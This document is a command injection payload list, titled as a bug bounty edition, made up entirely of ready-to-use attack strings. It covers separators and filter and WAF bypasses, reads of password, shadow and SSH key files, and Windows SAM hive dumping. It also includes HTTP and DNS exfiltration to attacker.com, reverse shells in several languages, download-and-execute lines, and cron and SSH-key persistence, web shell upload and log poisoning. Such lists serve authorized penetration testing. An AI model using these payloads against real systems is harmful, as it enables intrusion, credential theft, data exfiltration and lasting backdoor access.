# Command Injection Payloads (2020-2025 Enhanced Bug Bounty Edition)

# ============================
# BASIC COMMAND INJECTION
# ============================

# Command Separators
; ls
| ls
|| ls
& ls
&& ls
`ls`
$(ls)
%0a ls
\n ls

# Chained Commands
; whoami
| whoami
|| whoami
& whoami
&& whoami

# Command Substitution
`whoami`
$(whoami)
;`whoami`
;$(whoami)
$((whoami))

# ============================
# LINUX/UNIX COMMANDS
# ============================

# File Operations
; cat /etc/passwd
| cat /etc/passwd
; cat /etc/shadow
| cat /etc/shadow
; ls -la /
| ls -la /
; head -n 50 /etc/passwd
; tail -n 50 /var/log/auth.log

# System Information
; uname -a
; hostname
; id
; whoami
; pwd
; env
; set
; printenv
; cat /proc/version
; cat /etc/issue
; cat /etc/*-release
; ifconfig
; ip addr
; route -n
; netstat -tulpn
; ps aux
; w
; last

# File Discovery
; find / -name "*.conf" 2>/dev/null
; find / -name "config*" 2>/dev/null
; find / -name "*password*" 2>/dev/null
; find / -perm -4000 2>/dev/null
; locate password
; locate admin
; which gcc
; which python
; which perl

# Reading Sensitive Files
; cat ~/.bash_history
; cat ~/.ssh/id_rsa
; cat ~/.ssh/authorized_keys
; cat /var/www/html/config.php
; cat /var/www/html/wp-config.php
; cat /etc/apache2/apache2.conf
; cat /etc/nginx/nginx.conf
; cat /root/.ssh/id_rsa

# ============================
# WINDOWS COMMANDS
# ============================

# Basic Commands
& dir
| dir
& dir C:\
& type C:\Windows\win.ini
| type C:\boot.ini
& whoami
| net user
& hostname
& ipconfig
& systeminfo

# Windows System Info
& systeminfo
& wmic qfe list
& wmic logicaldisk get caption
& net user
& net localgroup administrators
& net user /domain
& net group /domain
& net group "Domain Admins" /domain
& tasklist
& netstat -ano
& ipconfig /all
& route print
& arp -a

# Windows File Operations
& type C:\Users\Administrator\Desktop\passwords.txt
& dir C:\Users\
& dir C:\inetpub\wwwroot\
& type C:\Windows\System32\drivers\etc\hosts
& reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
& reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# PowerShell Commands
& powershell Get-Process
& powershell Get-Service
& powershell Get-NetIPConfiguration
& powershell Get-ComputerInfo
& powershell Get-LocalUser
& powershell Get-LocalGroup
& powershell Get-ChildItem C:\ -Recurse -Include *.txt,*.doc,*.pdf -ErrorAction SilentlyContinue
& powershell -c "Get-Content C:\Users\Administrator\Desktop\passwords.txt"

# Windows Credential Dumping
& reg save HKLM\SAM C:\temp\sam.hive
& reg save HKLM\SYSTEM C:\temp\system.hive
& reg save HKLM\SECURITY C:\temp\security.hive

# ============================
# TIME-BASED BLIND INJECTION
# ============================

# Linux
; sleep 5
| sleep 5
|| sleep 5
& sleep 5
&& sleep 5
; sleep 10
`sleep 5`
$(sleep 5)

# Using ping for delay
; ping -c 5 127.0.0.1
| ping -c 10 127.0.0.1
|| ping -c 5 localhost

# Windows
& timeout 5
| timeout 5
& timeout /t 5
& ping -n 5 127.0.0.1
| ping -n 10 127.0.0.1
& ping 127.0.0.1 -n 5 > nul

# ============================
# OUTPUT REDIRECTION & EXFILTRATION
# ============================

# Output to File
; ls > /tmp/output.txt
| ls > /tmp/output.txt
& dir > C:\temp\output.txt
; whoami > /var/www/html/whoami.txt
; cat /etc/passwd > /tmp/passwd.txt

# Append to File
; ls >> /tmp/output.txt
; whoami >> /var/www/html/info.txt

# Error Redirection
; ls 2>&1
; cat /etc/shadow 2>/dev/null
; find / -name "*.conf" 2>/dev/null

# Data Exfiltration via HTTP
; curl http://attacker.com?data=$(whoami)
; wget http://attacker.com/exfil?data=$(cat /etc/passwd | base64)
; curl -d "data=$(cat /etc/passwd)" http://attacker.com/collect
& powershell -c "Invoke-WebRequest -Uri http://attacker.com?data=$(whoami) -Method GET"

# DNS Exfiltration
; nslookup $(whoami).attacker.com
; dig $(whoami).attacker.com
; host $(whoami).attacker.com

# ============================
# ENCODING & OBFUSCATION
# ============================

# URL Encoding
%3B%20whoami
%7C%20whoami
%26%20whoami
%0a%20whoami
%0d%0a%20whoami

# Double URL Encoding
%253B%2520whoami
%257C%2520whoami

# Unicode Encoding
\u003b whoami

# Hex Encoding
\x3b whoami
\x0a whoami

# Octal Encoding
\073 whoami

# ============================
# NEWLINE INJECTION
# ============================

%0a whoami
%0d%0a whoami
\n whoami
\r\n whoami
\r whoami
%0awhoami
%0d%0awhoami

# ============================
# SPACE BYPASS TECHNIQUES
# ============================

# No Space
;cat</etc/passwd
|cat</etc/passwd
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
cat${IFS}${PATH%%:*}

# Brace Expansion
{cat,/etc/passwd}
{ls,-la,/}

# Tab Character
cat%09/etc/passwd
cat	/etc/passwd

# Variable Expansion
X=$'cat\x20/etc/passwd'&&$X
IFS=,;`cat<<<cat,/etc/passwd`

# ============================
# FILTER BYPASS TECHNIQUES
# ============================

# Quotes Bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/b''i''n/c''at /etc/passwd
/\b\i\n/\c\a\t /etc/passwd

# Wildcards
/???/??t /???/??ss??
/bin/c?t /etc/p?sswd
/bin/ca* /etc/pass*
/b*n/c*t /e*c/p*wd

# Variable Substitution
$PATH
$HOME
$PWD
${PATH:0:1}
echo ${LS_COLORS:0:1}

# Concatenation
ca''t /etc/passwd
c""at /etc/passwd
c\a\t /etc/passwd

# Case Manipulation (Bash)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

# ============================
# COMMAND SUBSTITUTION VARIATIONS
# ============================

`whoami`
$(whoami)
$((whoami))
`echo $(whoami)`
$(echo `whoami`)
a=$(whoami);echo $a
a=`whoami`;echo $a

# ============================
# REVERSE SHELLS (FOR AUTHORIZED TESTING)
# ============================

# Bash Reverse Shell
; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
| bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
; 0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; sh <&196 >&196 2>&196

# NC Reverse Shell
; nc -e /bin/sh ATTACKER_IP PORT
; nc ATTACKER_IP PORT -e /bin/bash
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

# Python Reverse Shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Perl Reverse Shell
; perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP Reverse Shell
; php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby Reverse Shell
; ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Telnet Reverse Shell
; telnet ATTACKER_IP PORT | /bin/bash | telnet ATTACKER_IP SECOND_PORT

# Windows PowerShell Reverse Shell
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Windows CMD Reverse Shell
& powershell IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')

# ============================
# REMOTE CODE EXECUTION (RCE)
# ============================

# Download and Execute
; curl http://attacker.com/shell.sh | bash
; wget http://attacker.com/shell.sh -O- | bash
; curl http://attacker.com/exploit.py | python
& certutil -urlcache -split -f http://attacker.com/shell.exe C:\temp\shell.exe
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"

# Execute In-Memory
; echo "curl http://attacker.com/payload" | bash
& powershell -enc BASE64_ENCODED_COMMAND

# ============================
# SYMBOLIC LINK ATTACKS
# ============================

# Create Symlink to Sensitive Files
; ln -s /etc/passwd /var/www/html/passwd.txt
; ln -s /etc/shadow /tmp/shadow.txt
; ln -s /root/.ssh/id_rsa /var/www/html/key.txt
; ln -s /var/www/html/config.php /tmp/config.txt

# Symlink to Directory
; ln -s /etc/ /var/www/html/etc
; ln -s /root/ /tmp/root
; ln -s / /var/www/html/rootfs

# Symlink Overwrite
; ln -sf /etc/passwd /var/www/html/index.php
; ln -sf /dev/null /var/log/access.log

# Race Condition with Symlink
; ln -s /etc/passwd target && cat target
; ln -s /etc/shadow /tmp/link && cat /tmp/link

# Symlink Arbitrary File Read
; ln -s /etc/passwd public_html/passwd
; ln -s ~/.ssh/id_rsa web/key

# Symlink in Archive Extraction (Zip Slip)
; ln -s /etc/passwd malicious_link
; tar -czf payload.tar.gz malicious_link

# ============================
# BLIND COMMAND INJECTION DETECTION
# ============================

# Time-Based Detection
|| sleep 5
& sleep 5 &
; ping -c 5 127.0.0.1
| timeout 5

# Out-of-Band (OOB) Detection
; curl http://burpcollaborator.net
; wget http://attacker.com/ping
; nslookup attacker.com
; ping attacker.com -c 1
& nslookup attacker.com

# DNS-Based Detection
; nslookup $(whoami).attacker.com
; dig $(whoami).attacker.com
; host $(hostname).attacker.com

# HTTP-Based Detection
; curl http://attacker.com/?id=injection
; wget http://attacker.com/?test=injection

# ============================
# POLYGLOT COMMAND INJECTION
# ============================

test;whoami
test|whoami
test||whoami
test&whoami
test&&whoami
test`whoami`
test$(whoami)
test%0awhoami
test\nwhoami

# ============================
# ADVANCED FILTER BYPASSES (2023-2025)
# ============================

# Whitespace Alternatives
cat</etc/passwd
cat<>/etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X

# Null Byte
cat /etc/passwd%00
whoami%00

# Comment Injection
cat /etc/passwd#comment
whoami#comment
cat /etc/passwd//comment

# Using $PATH
${PATH:0:1}bin${PATH:0:1}cat ${PATH:0:1}etc${PATH:0:1}passwd

# Using $HOME
$HOME/../../etc/passwd

# Glob Characters
/???/c?t /???/p?ssw?

# ============================
# WAF/IDS BYPASS
# ============================

# Case Variations
Cat /etc/passwd
CAT /etc/passwd
cAt /etc/passwd

# Using Tabs
cat%09/etc/passwd

# Using Line Feed
cat%0a/etc/passwd

# Combining Techniques
c''a''t${IFS}/e''t''c/p''a''s''s''w''d

# ============================
# CONTEXT-SPECIFIC INJECTIONS
# ============================

# In Email Field
user@domain.com; whoami
user@domain.com| whoami
user@domain.com`whoami`

# In Filename
file.txt; whoami
file.txt| cat /etc/passwd
$(whoami).txt

# In URL
http://example.com/page?id=1; whoami
http://example.com/page?id=1| cat /etc/passwd

# ============================
# CRON JOB INJECTION
# ============================

# Persistent Access
; (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'") | crontab -
; echo "* * * * * curl http://attacker.com/shell.sh | bash" | crontab -

# ============================
# SSH KEY INJECTION
# ============================

# Add SSH Key for Persistence
; echo "ssh-rsa ATTACKER_PUBLIC_KEY" >> ~/.ssh/authorized_keys
; mkdir -p ~/.ssh && echo "ssh-rsa ATTACKER_PUBLIC_KEY" >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys

# ============================
# BACKDOOR INSTALLATION
# ============================

# Web Shell Upload
; curl http://attacker.com/shell.php -o /var/www/html/shell.php
; wget http://attacker.com/backdoor.php -O /var/www/html/bd.php

# Binary Download and Execute
; curl http://attacker.com/backdoor -o /tmp/bd && chmod +x /tmp/bd && /tmp/bd
; wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware &

# ============================
# PRIVILEGE ESCALATION CHECKS
# ============================

# SUID Binaries
; find / -perm -4000 -type f 2>/dev/null
; find / -perm -u=s -type f 2>/dev/null

# Sudo Permissions
; sudo -l
; cat /etc/sudoers

# Writable Files
; find / -writable -type f 2>/dev/null
; find / -perm -222 -type f 2>/dev/null

# ============================
# LOG POISONING
# ============================

# Apache/Nginx Log Poisoning
; echo "<?php system(\$_GET['cmd']); ?>" >> /var/log/apache2/access.log
; echo "<?php system(\$_GET['cmd']); ?>" >> /var/log/nginx/access.log

# ============================
# ENVIRONMENT VARIABLE MANIPULATION
# ============================

; export PATH=/tmp:$PATH
; echo $PATH
; printenv

# ============================
# MODERN TECHNIQUES (2024-2025)
# ============================

# Abusing Built-in Features
; source <(curl -s http://attacker.com/script.sh)
; eval "$(curl -s http://attacker.com/cmd.txt)"

# JavaScript Command Injection (Node.js)
; node -e "require('child_process').exec('whoami')"

# Using Alternative Shells
; sh -c whoami
; bash -c whoami
; zsh -c whoami
; ksh -c whoami

# Exploiting Interpreters
; python -c "import os;os.system('whoami')"
; perl -e 'system("whoami")'
; ruby -e 'system("whoami")'